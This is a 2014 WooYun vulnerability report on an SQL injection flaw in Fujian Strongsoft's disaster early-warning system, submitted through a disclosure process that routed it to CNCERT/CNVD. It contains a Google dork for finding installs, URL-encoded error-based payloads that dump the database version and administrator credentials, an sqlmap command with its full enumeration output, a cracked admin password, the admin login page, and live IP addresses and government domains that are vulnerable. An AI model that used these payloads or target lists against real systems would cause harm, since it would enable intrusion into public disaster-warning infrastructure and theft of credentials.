当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085076

漏洞标题:四创灾害预警系统SQL注入漏洞

相关厂商:福建四创

漏洞作者: 路人甲

提交时间:2014-12-02 16:54

修复时间:2015-03-02 16:56

公开时间:2015-03-02 16:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-02: 细节已通知厂商并且等待厂商处理中
2014-12-07: 厂商已经确认,细节仅向厂商公开
2014-12-10: 细节向第三方安全合作伙伴开放
2015-01-31: 细节向核心白帽子及相关领域专家公开
2015-02-10: 细节向普通白帽子公开
2015-02-20: 细节向实习白帽子公开
2015-03-02: 细节向公众公开

简要描述:

RT

详细说明:

官网:http://www.strongsoft.net/
谷歌搜索: intitle:预警 系统 技术支持:福建四创

0.png

注入链接:/warn/AjaxHandle/AjaxWarnRule.ashx
注入参数:adcd
【获取数据库版本】
/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(select+top+1+@@version+from+strongmain.dbo.Web_SystemUser)))%2b%27
【管理员账号密码】
/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(select+top+1+UserID%2b'|'%2bUserPwd+from+strongmain.dbo.Web_SystemUser)))%2b%27
【SQLmap注入】
sqlmap -u http://x.x.x.x/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1 --level 5 --risk 3 --dbms mssql --batch --dbs -v 3 --random-agent -v 3

漏洞证明:

测试案例:
(1) http://218.86.6.48:3505
【报错注入】
http://218.86.6.48:3505/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(@@version)))%2b%27

1.png


【获取管理员密码】
http://218.86.6.48:3505/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(select+top+1+UserID%2b'|'%2bUserPwd+from+strongmain.dbo.Web_SystemUser)))%2b%27

2.png

Cmd5解密78260db902eb717c7d8ff9254dee2b54为jys0599

3.png

【登录系统】
http://218.86.6.48:3505/AdminUserLogin.aspx

4.png

【SQLmap注入】
sqlmap -u http://218.86.6.48:3505/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1 --level 5 --risk 3 --dbms mssql --batch --dbs -v 3 --random-agent -v 1
---
Place: GET
Parameter: adcd
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: adcd=1'+(SELECT 'ciDA' WHERE 7444=7444 AND 7152=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR
(111)+CHAR(117)+CHAR(113)+(SELECT (CASE WHEN
(7152=7152) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(99)+CHAR(111)+CHAR(105)+CHAR(113))) )+'
---
[07:51:32] [INFO] testing Microsoft SQL Server
[07:51:32] [INFO] confirming Microsoft SQL Server
[07:51:39] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[07:51:39] [INFO] fetching database names
[07:51:39] [INFO] the SQL query used returns 12 entries
[07:51:39] [INFO] resumed: cjya
[07:51:39] [INFO] resumed: imsh
[07:51:39] [INFO] resumed: kvnetdb
[07:51:39] [INFO] resumed: master
[07:51:42] [INFO] retrieved: model
[07:51:42] [INFO] resumed: msdb
[07:51:42] [INFO] resumed: ReportServer
[07:51:42] [INFO] resumed: ReportServerTempDB
[07:51:42] [INFO] resumed: StrongMain
[07:51:42] [INFO] resumed: StrongWater
[07:51:42] [INFO] resumed: StrongWater_0815
[07:51:42] [INFO] resumed: tempdb
available databases [12]:
[*] cjya
[*] imsh
[*] kvnetdb
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] StrongMain
[*] StrongWater
[*] StrongWater_0815
[*] tempdb

5.PNG


其他案例:
http://shzh.wlfx.gov.cn/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(select+top+1+UserID%2b%27|%27%2bUserPwd+from+strongmain.dbo.Web_SystemUser)))%2b%27
http://yj.yywater.gov.cn/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(select+top+1+UserID%2b%27|%27%2bUserPwd+from+strongmain.dbo.Web_SystemUser)))%2b%27
http://218.86.6.48:3505/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(select+top+1+UserID%2b%27|%27%2bUserPwd+from+strongmain.dbo.Web_SystemUser)))%2b%27
http://222.78.185.230:3505/warn/AjaxHandle/AjaxWarnRule.ashx?adcd=1%27%2b(SELECT+1+WHERE+5726=CONVERT(INT,(select+top+1+UserID%2b%27|%27%2bUserPwd+from+strongmain.dbo.Web_SystemUser)))%2b%27

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-12-07 15:12

厂商回复:

CNVD确认并复现所述情况,已经由CNVD按以往建立的联系渠道向软件生产厂商——福建四创公司通报。

最新状态:

暂无


漏洞评价:

评论